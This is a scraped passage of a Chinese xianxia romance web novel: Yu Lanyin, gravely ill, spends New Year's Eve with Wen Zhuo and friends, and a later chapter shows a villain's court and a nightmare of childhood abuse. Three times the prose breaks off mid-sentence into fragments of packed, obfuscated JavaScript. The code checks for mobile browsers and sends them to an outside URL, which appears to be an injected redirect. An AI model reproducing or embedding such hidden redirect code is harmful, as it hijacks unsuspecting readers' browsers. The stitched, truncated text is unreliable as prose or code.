玉阑音忽然猛地瞪大了眼睛。 可是温卓的手臂紧紧地箍在他的腰间,磐石一般纹丝不动,玉阑音越是挣扎,他越是用力地将他压向自己的胸膛。 “温卓……你,你先……” 玉阑音的声音近乎破碎地颤抖起来,抵住愈发靠近的温卓。 不过温卓隐约的失控并没有持续很久,几乎是下一个瞬间便转瞬即逝。 他忽然主动向后小半步,同玉阑音拉开了一丝聊胜于无的安全距离。 温卓眉头微蹙,“阑音?” 说着,他的手强势又不失温和地抚摸过玉阑音近乎枯槁的脸,随后是他硌人的肩膀,过分纤细的手臂。 他的眉头越蹙越紧,“怎么瘦了这么多?” 玉阑音几乎看不清面前温卓的脸了。 他的牙齿打起颤,脸上一丝血色都不见,脱了力,顺着温卓的臂膀要滑落下去。 温卓手下猛地一用力将玉阑音环抱进自己怀里。 “阑音?你怎么了?” 玉阑音借力伏在温卓肩头,颤抖地喘着气。 “嘘……别,别说话,给我抱一抱……抱一抱就好了。” 在温卓看不到的地方,玉阑音的脸因为撕心裂肺的疼痛近乎扭曲起来。 他颤抖着,又竭力控制着不发出声音,粗重地大口喘着气。 温卓慌了。 他此刻不敢轻举妄动移动玉阑音分毫,生怕自己的一举一动都会起到反作用。 温卓不知道他在此处站桩似的站了多久。 他额头上的汗水聚成了水滴,顺着他高耸的眉骨滑落到眼眶,再顺着长长的睫毛,有的滑进眼睛,有的滚落别处。 “阑音……你别吓我,阑音……”他眼睛通红一片,“阑音你别吓我,我再也不碰你了,你别吓我,别吓我好吗?” 温卓一遍一遍地说,直到声音颤抖地不成人话,“阑音……” 玉阑音听不太清温卓的呢喃,他耳畔嗡嗡作响,轻轻喘着气。 心脏绞痛头痛欲裂到达了峰值后缓缓下跌,他终于卸了力,任由自己瘫软进了温卓的怀里。 玉阑音一动,温卓立刻将他打横抱起,三步并两步放回了床榻之上。 他三两下把脸上的汗水擦干,颤抖地去捧玉阑音的脸。 可是玉阑音却先温卓一步,抓住了他的手。 玉阑音脸颊苍白得泛起了青紫色,活像个纸扎人,喘息带着胸声。 他摇了摇头,动了动嘴,却没能发出任何声音。 “我不问,阑音……我知道,我不问……” 温卓颤抖着吸了一口气,一边开始着手往玉阑音灵脉里渡灵气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533852|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从前玉阑音虽然经脉枯死,但是用些歪门巧招也还能灌进去些灵力。 可如今时间虽然只过去两年,玉阑音的身体状况却忽然如同扎破了的气球,浑身上下一片死气,是不受控地干瘪衰老。 温卓的灵力渡得很少,也很温和。 但玉阑音的灵脉却如同干枯的枝叶一般,还未触碰便碎得窸窸窣窣化作了一片齑粉。 躺在床上的玉阑音对于灵脉粉碎的苦痛毫无反应,他甚至由于猛烈疼痛的退去,脸色稍霁。 他勉强地一抬嘴角,似乎是怕极了温卓会开口问他些什么,“一一,今天除夕……饶我这一回吧……” 玉阑音脆弱得像是一柄没了花托的雏菊,他近乎恳请的神态如同平地无声的惊雷,轰然催倒温卓的最后一道防线。 “对不起,阑音……对不起……” 男儿有泪不轻弹。 可是此刻的温卓苦得仿佛襁褓中的婴儿,垮下了肩膀,挛缩作一团。 “我不该把你一个人丢在这里……都是我的错……我真的,我真的不知道怎么办了……阑音,我……这一年半,我甚至没能回来见你几面……我……” 玉阑音不是第一次见温卓哭泣。 他恍惚想起了好久之前,札布萨的那一年,他发了烧,这个孩子也和现在一样哭成了个泪人。 生了病的人眼眶子都浅。 玉阑音看着温卓,久违地鼻头一酸。 他轻轻地拽过温卓,吻上他流泪的眼睛。 “哭什么呢。多大的人了,还和小时候一样。我那灵犀灯一天响百十回,灵犀灯的影像也时常能见到你,怕是比你在我身边见得都勤快了。” 玉阑音揩去温卓脸上混作一团的汗水与泪水,“你愿意替我回札布萨,我可是感激都来不及的,怎么就成了对不起我了?不哭了,嗯?” 玉阑音拖着极轻极慢的南方口音,一下一下顺着温卓僵硬的脊背。 “我的身体我有数,别看它现在和破烂似的。但是你记得我和你说过,我可是很难死的。信我这一回,好吗?” 此刻的温卓有无数的话想说,但因为玉阑音那一句“除夕”,这些话在喉头囫囵滚了两圈,堪堪忍了下去。 他偏过头去,藏下狼狈不堪哭花了的脸。 玉阑音慢慢地顺着气,终于看上去比先前好了一些。 他半撑起上身,笑道:“白祺在正厅枯树上呢,你回来倒是也省了我的事,替我去喂喂他吧——对了,你那金雕呢?说起来也是好久不见了。” 温卓吸了吸鼻子,识海里一抓,把阖着眼的金雕“咻”地提溜了出来。 “在这儿呢。” 那金雕已经是成年的姿态,骤然被扰了清闲,在温卓臂膀上十分不满地“扑棱扑棱”振翅,长啸一声。 “嚯,长大了,挺有活力。” 玉阑音被金雕翅膀带起的风吹动了发梢,“药谷人少,一会儿还能放他和白祺玩去,他们俩闷在屋里怕是要嫌无聊了。” 温卓看上去兴致不高地垂着头,说话还带着哭后的鼻音。 “前些日子在北塞放它出去野了一下午,晚上就带了一身伤回来。无聊些也好。” “啧,伤在它身疼在我心呢。你平日可是得宝贝些,谁让这金雕和我一个名儿呢。” 玉阑音在温卓近乎惊恐地眼神中,伸手挠了挠金雕的冠羽,“是不是啊,阑音?” 68.年货 "砰砰砰!" 打雷声似的敲门声响起。 “玉太嵇!开门!是爸爸回来了!快快开门迎——” 可是真到这门一开,元宿央未竟的话当即就哽在了喉头。 他愣怔不过片刻,随即十分嫌恶地皱起了眉,“怎么是你?” 温卓的脸不知道为什么有点臭,冷哼一声,没理他。 里屋的玉阑音往外看了看,“回来了?” 元宿央看见玉阑音,立刻泥鳅似的从门缝里挤了进来,还不忘用手上的大包小包推搡了推搡温卓,“去去去,小屁孩一边去。” “是啊!回来得还算快,买了好些吃的喝的——” 元宿央嚷嚷着往里屋进,见到卧床的玉阑音,语气当即一顿,“你的脸色怎么这么难看?又犯病了?” 玉阑音剜了他一眼。 元宿央看着惨白颓败的玉阑音,眼眸底漫上一阵隐晦的苦楚,他不着痕迹看一眼温卓,面上却不显,故作轻松道:“你这身体不比当年,最忌讳……心神不宁,普通药草又不起作用,你可千万得自己多注意才行。” 玉阑音不说是也不说不是,只垂下了头。 他伸手去抓元宿央手里的布袋,“好些东西,是都买了些什么?” 元宿央沉沉地看他一眼,旋即收回目光。 他解开了布袋,尽量维持着面上的笑意,道:“这个兜里是些布置家里的玩意儿,红彩带红窗花——你看看这窗花,喜不喜欢?” 薄薄一张窗花被送到玉阑音手上,他拿着端详一阵,眸底略一闪烁,“夜莺?” “嗯哼,一对儿。从前那话本故事里,这夜莺不都是叫得啼血、情情爱爱的么,你……”元宿央说着又是撇撇嘴,不情不愿捏了捏鼻子,“反正就是送你俩的——图个好彩头吧。” 玉阑音弯着眼睛听着,他抬头看着元宿央,又低头看看窗花,“有这心,还以为你送的不是夜莺,是鸳鸯。” 元宿央连忙打断他,“鸳鸯?可拉倒吧,那种一季换个配偶的水鸟,还不够晦气的。” “过去怎么不知道你这么迷信?还在窗花上头图彩头呢。”玉阑音翻来覆去看着窗花,手往袋子里继续摸,“哟,这还有一副对子……我看看…… “‘和顺一门有百福,平安二字值千金’,横批……‘万象更新’?” ……好心当成驴肝肺,还在这儿嫌俗气呢。 元宿央翻个白眼,懒得理他。 玉阑音却忽然笑了起来,慢慢将对联和窗花平整地放到床头的柜子上,窥心术似的摇了摇头,“我没嫌它俗气。” 他用一种从未有过的温和语气,带着平和的笑意:“谢谢,我很喜欢,宿央。谢谢。” 元宿央不知道怎么地,看着玉阑音笑,他却忽然有点想哭。 他略一蹙眉,慌忙地别过头,看向外屋门口。 ——温卓正在和镜遥、克古鲁、君少暄叙旧,声音不大,从里屋听不太清。 等了好一会儿,元宿央才重新转回了头,敞开了另外的布兜,“这里边是些肉菜,你不是总说你家温卓会做饭么?正好赶上他回来了,叫他做去。 “——逛到半路碰见药谷那君少暄了,他那儿买的净是些手里玩的小物件,还买了好几斤炮仗。要不说是小孩子一个么,这么些鞭炮……不知道的都要以为他是来炸你山头的了。” …… 元宿央絮絮叨叨,说着些有的没的废话。 可是玉阑音再一次展现出过人的耐心,神态甚至能称得上十分柔和,他不怎么去看元宿央手里那些东西,而更多将目光停留在他的脸上。 “长老——还躺着呢?还有少掌门,出来吃点零嘴不?” 君少暄探进来个毛茸茸的脑袋,乐呵呵晃了晃手里的布包,打断了元宿央不明所以的长篇大论。 元宿央忽然像是大梦初醒的样子,回了神。 玉阑音笑着看向君少暄,“好,这就来。” 语罢,他翻身下床,披上了有些厚重的外衣和披风,敲了敲元宿央的脑袋——像他小时候在自己跟前听学时那样,语笑嫣然:“回神了?走吧?” 二人来到外屋的时候,其他人已经开始里里外外的忙活起来了。 “镜遥,你这浆糊怎么搞的?压根不粘,这福字都成了水打的了。” “啊,是吗?可是我就是照着那书上弄的呀……” 温卓送了一小桶新的浆糊过来。 “克古鲁,你这红丝带揣在哪里带回来的?这都打结了,快来帮我一把,挂厅堂的枯树上肯定好看。” “我顺手揣怀里带来的……嘶,还真是打结了……” 温卓三下五除二打开了丝带的死结,递给二人。 “大哥!药郎先生这鹰——它!他啄我啊!啊啊!救命啊大哥!” 温卓三两下将白祺抓过来,放在自己的肩头。 …… 温卓自己择菜还没择出个四六,却已经是在整个屋里上上下下地来回跑了七八趟。 元宿央若有所思地捂住了嘴。 良久,他朝玉阑音道:“太嵇,你实话告诉我,你这真不是找了个小媳妇?” 玉阑音失笑地搡了他一把,“滚蛋。” 温卓听见玉阑音的说话声,自然是扔下了手里那些杂活儿大步朝他走了过来。 他不放心地替玉阑音拢了拢衣服,检查了他手里的暖炉,“这么冷,怎么不多躺一会儿?饭菜好了我叫你。” “外头热闹,顺便吃点孩子们买的——这都是些什么东西?” 玉阑音说着,眯了眯眼往小桌几那边看去。 桌上好几盘子小零嘴,红的绿的五彩缤纷。 漂亮是挺漂亮……就是实在不像是人食物。 一旁镜遥立刻扭过了头,抻着脖子介绍了起来:“挺稀罕的吧,长老?这红的是洋柿子丝瓜酥,绿的是冰糖菠菜,这黄的是炸酸果,这紫的!这紫的就更神奇了,紫地瓜丸,里头包的是蒜头和姜……” 玉阑音越听,眉头皱得越紧。 与此同时,皱起眉来的还有元宿央和温卓。 元宿央脸上红红白白,“不是……我给了你们那么些银子……你们这都是买了些什么砸锅的玩意儿?” 镜遥呆愣愣地“啊”一声。 玉阑音十分从容、甚至感激地朝镜遥笑了笑,一边裹了裹自己的漏风的长披风。 “我看我还是回去躺一会儿,等年夜饭吧。” 闻言,温卓似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543693|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是被逗笑了,终于露出了这整个下午第一个笑容。 他含着笑意看了玉阑音一眼。 玉阑音自觉自己不是会被美色误事的人。 但是温卓蓦地这么一笑,纵然是他这个老头都险些被晃了眼。 他眨了眨眼,不躲不避地看着温卓好一会儿。 ——最终还是决定不回里屋躺着去了。 他盖着半个手掌厚的麂皮加绒毯子,左手抱着小暖炉,右手摸着白祺,窝在火炉旁边的摇椅里,大大方方当起了监工。 忽然他挪换了挪换摇椅角度——以便他能从窗户中看到外头伙房里忙碌的温卓。 玉阑音爱吃甜食,没忍住地拿起一片冰糖菠菜——最终也是没忍住地又放回去了。 到底是上了年纪,屋内几人熙熙攘攘的动静,玉阑音非但不嫌吵,甚至隐约能从中感知到一丝平稳的安心。 他眯着眼睛,看着包括元宿央在内的四个小辈手忙脚乱模样,脸上挂着连他都未能察觉到的笑意。 说来也惹人笑话,他活得久到和王八差不多岁数了,“过年”的次数却是屈指可数。 小时候在槐安城的家里不曾有,长大了一个人自然也不会有。 唯一一次过年…… 啧,居然还是和温卓在札布萨的那次。 今日这是第二次。 他不由自主地想起了那年的温卓,年纪很小,闷不作声,下午跑马去集市给药居买年货,把火烧云累得够呛,回来之后喝了半水槽的水。 想起了那一坛槐花酒,去年被温卓喝光了,有机会重新酿一坛新的,他大概是喝不到了,温卓喜欢,就留给温卓。 想到了那年初一鲁尔迈的葬礼。 他的记忆逐渐有些混乱,碎片似的破碎再重叠起来,线性的时间忽然变成了一张网,平铺在了眼前。 无聊的孤独是这张网的绝大部分,只有少数的网眼中有回忆在发着光。 他又看到了喜欢簪红戴绿的青木,还有总爱掏他院子树上鸟窝的善玄…… 夜莺…… “……阑音!阑音!” “……太嵇,你醒醒!” 几道不属于这里的声音由远及近传到了他的耳中,逐渐清晰,甚至是有些聒噪和恼人。 玉阑音浑身打了个战栗,猛地惊醒,睁开了眼。 眼前,是温卓和元宿央惊慌失措的两张脸。 温卓见到玉阑音睁眼登即大松了一口气。 元宿央则是更外露一些,卸了力似的半撑到了摇椅扶手上,他喃喃道:“玉太嵇,你吓死我了……我和温卓叫了你好多遍……真的是,真是要吓死了……” 玉阑音身上带着病,惊醒之后眼神也难免有些涣散。 他似乎仍旧是没能缓过神来,一副失神落魄的模样,嗫嚅道:“夜莺……” 元宿央没听清,眨巴了眨巴眼,“什么?” 玉阑音抬头看向他,“夜莺……夜莺还在吗?” “夜莺?”元宿央不解地歪歪头,“你是说从前院子里那一对儿活的夜莺?还是窗花上那一对儿死的?” 温卓稍一伸手拦住了元宿央,摇了摇头。 他握了握玉阑音冰凉的手,“还在。夜莺还在。” 69.牵挂 镜遥、克古鲁和君少暄早已在餐桌前垂涎欲滴、嗷嗷待哺多时。 此时天色已暗,流离所内四角四枚夜明珠亮得夺目,金丝楠木的桌椅在光下灿然生辉,流光溢彩金碧辉煌。 桌上玉盘珍羞,云州八大菜色几十种花样齐聚一堂,金镶玉盘碗酒盏,汉白玉箸,华贵无比。 终于,玉阑音在温卓的搀扶下,同元宿央姗姗来迟。 玉阑音的面色是一种极为不健康的瓷白,甚至看得清其下青绿的血管。 他眼睑恹恹地轻垂,看上去兴致缺缺,露出苍白的倦色。 镜遥很快便从他们长老的脸上收回了目光。 他只是一顿,随即便高高兴兴地笑起来:“长老,新年快乐!” 克古鲁和君少暄见他这副狗腿子的模样十分不悦,当即也不遑多让地说起了吉祥话。 什么“顺顺利利”、“平平安安”、“福如东海寿比南山”的,全都来了个遍。 玉阑音因为久病,在一众人中显得过分得安静。 他温和地笑起来,“怎么一个个都拜起年来了?明初一再说也不迟。” “好话不嫌多嘛。”镜遥嘿嘿一笑。 他眼睛亮亮地看着眼前玉盘珍羞,“长老,这一桌都是温兄自己做的嘞,你不来我们都不敢吃。你快尝尝,好让我们也动筷子。” 玉阑音又笑了,笑意爬至眼底,眼尾和唇角都漫上一层极淡薄的血色。 他的声音几不可闻,似乎是自语般,“等我做什么呢……” 温卓蹙眉看他一眼。 元宿央更是不客气,直接提起胳膊肘狠狠杵了一把玉阑音,差点没把玉阑音这病号杵得呕血。 玉阑音弱柳扶风地咳了两声。 没人理。 他尴尬地再咳了两声,“快快吃饭吧。” 一声令下,对面三个小孩子争先恐后地你伸胳膊我送调羹,连个前摇都没有地直往嘴里胡吃海塞。 元宿央被这风卷残云波及,“呼啦”,脸上溅了一脸汤。 他垂着眼睛,不说话,那汤汤水水顺着他的眼睫毛往下淌。 三名罪魁祸首齐齐止了动作。 “不是我,是镜遥。” “不是我,是君少暄。” “是克古鲁。” …… 元宿央在桌下的手紧了再松,松了又紧。 终于他皮笑肉不笑地扯了扯嘴角,接过温卓递给他的帕子,一边擦脸一边道:“大过年的……不准争,不准抢,要友爱……听到了吗?” 三人盯着元宿央“友爱”的目光,连连点头。 玉阑音被他们闹得也有了些精神,笑起来,就着温卓的手吃了个素丸子。 素丸子刚一入口,他的眼睛倏然亮了几分,“……好吃。” 温卓见他喜欢,终于也露出了笑意。 玉阑音这人口味清淡,嘴又刁。 札布萨那地方,除了牛肉就是羊肉,除了鹿肉就是马肉,巧妇难为无米之炊,纵然是温卓手上有百般能耐,在那犄角旮旯处也使不出。 如今来了中原,温卓的厨艺可谓是突飞猛进、步入佳境、再创佳绩。 他的菜色大多投着玉阑音的口味来,花样又多,即便是每样挨个尝一口都能吃个半饱了。 “诶!快看啊!下雪了!外头下雪了!” 镜遥不经意往窗外一扭头,忽然瞪大了眼睛,兴奋地喊道。 克古鲁早年在药居就有幸品尝过温卓的手艺,那肉,那汤,之新鲜,之美味,直接让他惦记到了现在。 他往嘴里一通乱塞,两腮鼓鼓囊囊,活像只人形仓鼠。他不以为意道:“土包子……下雪……这……唔,下雪有什么稀奇的……” 君少暄睨了一眼克古鲁,尖酸地一冷哼:“还没说你吃没吃相呢……我们这里可是南泽,下雪天很稀罕的好不好啦?” 玉阑音拿着调羹的手停了停。 他眯着眼睛往外看去—— 窗外呼啸的风不止,但是随着风,一些晶莹的,洁白的雪点翻飞,这学不知道下了多久,落在门外的天井、树梢薄薄的一层。 树梢上,一匹海东青,一匹金雕,身上落满了雪。 他有多少年没见过南泽的雪了? “阑音。”温卓忽然低声唤他一句。 玉阑音回了神,歪过头去看他,“嗯?” 温卓抿了抿唇,他似乎是斟酌了好半晌,转向玉阑音的目光略微一避,“你是……怎么知道这金雕的名字的?” 玉阑音看着温卓这不好意思闪闪躲躲的模样,心里喜欢得紧。 他摸摸温卓桌下的手,又没忍住摸了摸他的眼眉,笑道:“你猜猜。” 温卓难得的羞惭。 他捉下玉阑音的手,“不猜。” 玉阑音任由他抓着自己的手,“这金雕今年……可是得有八十多岁了?也就比你小一些。白祺呢?你猜猜它多大了?” 温卓一顿。 玉阑音好笑地看他一眼。 “怎么?发现不对劲了?” 普通的金雕寿命不过六七十岁,可如今那站在天井树上的阑音—— 它正阖着眸子,一如壮年遮天蔽日,眸如星察,和身旁的白祺一样,活生生地活出了“我能把你们修仙人熬死”的长寿相。 特别能活是挺喜庆的,可是这……对么? 一旁的元宿央古怪地看他一眼。 “你那金雕是太嵇分了一缕神识化的,和他那只海东青一样,难不成你……不知道?” 温卓又是一顿,随后磕磕绊绊地摇了摇头。 闻言,元宿央捧腹哈哈大笑起来,“哎哟,可别给我笑死了。北塞那鸟不拉屎的地儿,上哪给你抓这么只金雕?还有那海东青,哎哟老天爷,玉爪海东青哎,毛色又好,他是得有多大本事啊,能弄只真的来?” 他揶揄道:“温卓啊,太嵇他就是一普通人,你就是太崇拜、太轻信他了,他没那么通天的本事,就是一普通人。” 玉阑音剜了元宿央一眼,“就你话多。” 随后他往身旁默不作声的温卓身边一靠,“没和你说过,你不知道是应该的。那神识离体太久,同我的联系时断时续,我也没听见些什么别的。是我的错,大人有大量,就原谅我这次吧……” “那你都听见了什么。” 温卓这话语气平平,唇角也抿得平平,眉尾平平,眼尾平平,但是—— “咦?你慌什么?” 元宿央像是发现了新大陆一样,翘着二郎腿歪着脑袋问道,“爱听见什么听见什么呗,不做亏心事,不怕鬼敲门,你总不能做了什么见不得人的亏心事吧哈哈哈……” 不过很快他的“哈哈”就变得越来越慢,最终终于“哈哈”不出来了。 因为温卓和玉阑音的两人的目光忽然变得极为怪异。 玉阑音甚至看着他,眯了眯眼。 元宿央在他杀人似的目光下悻悻地闭了嘴,假装很忙地搓搓手,揉揉脑袋,低下头继续吃饭了。 温卓很快就将目光收了回来。 “你是从什么时候金雕也叫‘阑音’的?” 不知道是真的嗓子痒还是尴尬使然,玉阑音轻咳两声清了清嗓子,“就是……你给他取名字的第一天。” 温卓抿了抿唇。 玉阑音又道:“那天正好山桂来拿药,我在屋子前的药房里给他包草药,忽然就听到你在叫我的名字,声音很清楚,把我吓一跳,但是我应了一声你又没再说话。之后才发现你那时候在正厅喂鹰——才知道的。” 温卓不知是自暴自弃了还是尚在负隅顽抗,总之神色依旧十分怪异,“那其余的呢?” 玉阑音斟酌了一番措辞,看着温卓紧绷的下颌线,尝试着开口道:“还有……再就是你闭关的时候……” 刚才可能还不太确定,但是此刻,听到这句话的温卓明显是已经自暴自弃了。 他沉默着抬起头,一言不发地看向玉阑音。 纵然是如今两人亲也亲了,抱也抱了,但温卓还是对闭关那段时间十分讳莫如深。 当时他神魂不稳,半人半鬼,去识海抱抱金雕,叫叫他的名字,迷迷糊糊念叨两句“喜欢”、“爱”都是含蓄的了。 他当时…… 温卓不愿再想下去,紧闭的唇终于和他本人一样丢盔弃甲,终于一句不自觉的呻吟破开唇缝,嗫嚅似的,闷得听不清。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599460|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他单手抵住了额头。 “怎么还骂人呢?”玉阑音嗤笑一声,“好了,好了,我……” 温卓闭着眼做了个止声的动作,“嘘,阑音,别说话。” 玉阑音嘴角一勾,“啧”了一声。 “现在什么时辰了?” 克古鲁吃了个痛快,根本没注意他们的厨师大人此刻奇臭无比的脸色,如今正一边看着窗外一边打饱嗝。 “戌时一刻,雪也停了。”镜遥也探着头往外看,估摸道,“我们去放鞭吧?” 君少暄耳朵一动,“放鞭?” “成啊!走呗!”克古鲁翘着的脚一放,“药郎先生你们也一起来啊!响鞭!热闹!” 玉阑音笑着同他们一颔首。 “走吗?一起?”随后伸手拽了拽以手遮面的温卓,“你不去我就自己去了?” 语罢,他还半真半假地又咳了两声。 果然,一听到玉阑音咳嗽,温卓就像是打开了什么开关似的。 顾不上没脸见人了,连忙顺手摸出了两个新的小暖炉塞进玉阑音的怀里,又给玉阑音整理了整理衣袍才作罢。 元宿央看他们俩腻歪得起鸡皮疙瘩,嘴里嘟囔着什么,抬起脚便先出门去了。 等到温卓和玉阑音来到天井的时候,克古鲁已经挂好了鞭炮,镜遥屁颠颠地递来了一支香,君少暄已经面无表情地退到了八丈远,堵好了耳朵—— 不过撅着屁股点鞭的克古鲁是迟迟没有动作。 君少暄等得不耐烦了,把手一放,嗷一嗓子:“磨叽什么呢!” 克古鲁拿着香的手颤颤巍巍,“啊,那什么,从前其实我也没点过几次鞭炮……” 他习惯性转头求救:“药郎先生……” 玉阑音一哂,朝他一颔首,示意他将手里的香送过来。 可是当克古鲁真的屁颠颠送过来的时候,先他一步地,温卓伸出了手截住了他,接过了这支香,“他也不敢。我来吧。” 玉阑音略微一愣。 “怎么了?”温卓回头看他一眼。 “没怎么,”玉阑音忽然笑了,“你还记得呢?” 温卓没再看他,“有关你的,我都记得。” 等到玉阑音再回神,温卓已经拿着点燃的香站在了鞭炮的信子旁了。 他稍稍提高了音量,“捂好耳朵,三——” 玉阑音早在很早之前就知道温卓这小子对他动了别的心思。 刚得知之时的思绪已经回忆不清了。 或者是有震惊,或者是有恐慌。 他怕这孩子走了弯路,甚至是有过“再也不见”的念头。 “二——” 晓星夺指示三年之期的时候,不管别人怎么想,玉阑音却是大大地松了口气。 自己这条贱命终于要到头了,总算是能还好多人一些清静。 身后世界再如何也不归他管了。 这一生……大概也对得起一句仰不愧于天,俯不怍于人,也算得上是功德圆满。 他没由来地想到了温卓。 没打声招呼地,直接一个缩地千里缩回了十方宗。 只是没想到这一回,却是再也没舍得离开。 “一!” 温卓点燃了长长的引线,扔了香,几步就炮灰了玉阑音的身旁。 玉阑音的眼眸在月光下亮得出奇。 温卓来不及愣神,只来得及笑着低头在他的眼睛上落下一吻。 随后像多年前的玉阑音一样,伸手捂住了玉阑音的耳朵。 鞭炮声就在这个瞬间如平底炸雷,噼里啪啦。 空气中猛地腾升起硝烟的迷雾,震得玉阑音胸腔闷闷作响。 他其实在最一开始是不打算回应温卓的。 毕竟他一个将死之人,说爱,这不是害人么。 可是。 可是…… 玉阑音偏过头看了一眼温卓,却只能看到他锋利的下颌线。 他深深地看过他,随后再看向身旁也捂着耳朵大笑的那帮孩子们。 可是,时间越短,牵挂却越多。 当他终于发觉自己不再是孤身一人时,却已经悄然行至穷途末路。 70.噩梦 “叩、叩、叩”。 须弥之地。 达奚恩山半倚在宫殿高台的龙凤椅上,百无聊赖地单手叩着扶手。 此时,一道玉色身影、一道玄色身影,两人整整齐齐地跪在殿下。 那玉衣人远山眉桃花眼,正是同玉阑音长得一般模样的乌朔。 另外那玄衣人身材高挑面容刚毅,若是镜遥在场,定能认出这人——正是他失踪多年的好师兄——原佰。 达奚恩山不冷不淡地往二人身上瞟过一眼。 只这一眼,乌朔和原佰当即背后冷汗涔涔。 他叩着龙凤椅扶手的手忽然停了下来。 大殿内唯一的声音消失,登时一片寂静。 “你二人……的确是清闲太久了。是吧。” 达奚恩山拖着嗓子,看似是询问的话,可语调却没有一丝起伏。 二人无一人敢应声。 殿上的达奚恩山顺手拨弄着自己的发梢。 “须弥之地作为厌族领地,而本尊却只是云州凡人一个,所以你们是不是觉得——本尊特别好说话?” 二人依旧没有人出声。 “说话!” 猛地,达奚恩山狠狠地拍向扶手,当即腾升起一阵裹挟着灵力的风。 不至于将人拍出三四里地,但也是吃不太消。 乌朔稳了稳身形,强行压住灵力乱窜地挤压感。 “回大人,从未如此想过。” 达奚恩山笑了起来。 “嗯,你们最好是。不过——” 片刻。 “叩、叩、叩”。 他忽然再一次慢吞吞地叩起了扶手。 “——本尊这尊主……做得确实腻了。” 达奚恩山又是一笑,“不妨你们二人,举荐一下,谁来接替我这厌族尊主的位置才是?” 殿下跪着的二人压根不敢抬头。 他们被达奚恩山阴恻恻却又温和无比的声音激地汗毛一层层竖起。 达奚恩山喜怒无常,心思也难以揣度。 他们一时也拿不准这人此时说的究竟是真心话,还是只是兴致大发说来自娱自乐的戏言。 “容本尊想想……” 达奚恩山十分苦恼似的,垂着头冥思苦想。 蓦地,他眼睛猛地亮起,甚至称得上雀跃地站起了身,兴奋地来回踱步。 “本尊还真想到一个不错的人选——” 南泽槐安城。 梅雨时节,牛毛似的雨终日连绵不绝。 玉阑音被这湿冷的天气扰得身上总细细密密地犯疼。 他揉揉自己酸涩的肘部和膝盖。 思索着要不要去伙房煎副药,好去去身上的湿寒。 不经意地,他一垂头,正看见自己的手掌。 手掌比想象中大了很多,也粗糙了些,指腹和虎口有一层薄薄的茧子。 他眨了眨眼,想了好一会儿。 ——哦,这是我练剑留下的。 屋子里桌椅四条腿不平整,用来垫桌脚的是一本玉阑音从藏书阁偷出来的医书。 他照着这本医书,到外头的小山头上采草药—— 或许是有些天分,他照葫芦画瓢采的那些草药居然也没把他吃死。 玉阑音一只手一一指过医书上的字,一只手细细摆弄着地上一株不知名的小草。 可是天色忽然就暗下来了。 等他回过神来,已经看不清书上的字。 天晚了,我得回家了。 他想。 可是回家的路好远啊,他走了好久好久,没看见一丝光亮。 “阑音!阑音!” 极远处,有一女子的声音响起。 那声音十分缥缈,仿佛来自天外,又仿佛来自古旧无比的岁河之上—— 玉阑音不确定自己是不是真的听到了这呼唤。 他只清晰地听到迷路的自己大声朝前方喊道:“娘!我在这里!娘!” 就在玉阑音张口的一瞬间,一个穿着素色罗裙的女子便像神仙下凡一般,悄然落至他的眼前。 可是他好像一点也不觉得稀奇。 他猛地扔下了医书,一下子扑进那女子的怀抱。 “娘!” 那女子抱着他,一边拍着他的背一边哭。 “好阑音……你可真是吓坏娘了……” 可是哭着哭着,这女子的声音就再次缥缈了起来,怀抱也随之遥远。 直到她的声音已经尖锐到变了调—— “贱种!贱种!都是因为你!你明明也是个男孩,可是我为什么不能得宠!都是因为你!玉阑音!你真是害得我好苦!你为什么不去死!” 他的头发被揪得好疼,但是他没哭,随后猛地被甩到一边,头狠狠地撞上了四方的桌角。 玉阑音像是感觉不到疼似的,摸了摸额角。 手上一片红。 啊,流血了。 他抬头去看那面容姣好的女子。 她头发散乱,脸上带着岁月的痕迹,但是依旧可见年轻时动人的美貌。 玉阑音头晕晕的,已经听不太清面前的女子在嘶吼着什么。 她的声音越来越大,面部也越来越扭曲,直到眼鼻全都扭曲地变换了位置。 嘴也越来越大,直到这一张血盆大口变得比她的脸还大,蓦地朝他脸上突来—— 玉阑音猛地惊醒。 他半撑起身体,胸腔止不住地起伏着。 他胸口闷得出奇,头也顿顿地疼。 是温卓出什么事了? 玉阑音鞋都没穿,近乎慌乱地赤脚就往门外去。 里屋的门一开,他就被门外正迎面而来的人吓了一跳。 “阑音?” 温卓同样也是一愣,迅速伸手拦下了踉踉跄跄的玉阑音,他顺手摸了玉阑音被汗打湿了的额角和沾湿的发,“怎么了?” 玉阑音只穿着和衣而睡的里衣,一层薄薄的丝绸,被汗打湿了领口和胸膛。 他瘦弱的身体在这单薄的衣服中显得更加晃荡,仿佛是一把冬日干瘪的木柴,轻轻一折就能折个对半。 温卓的身上还带着屋外的寒凉,玉阑音被他抱进怀中,忍不住打了个冷颤。 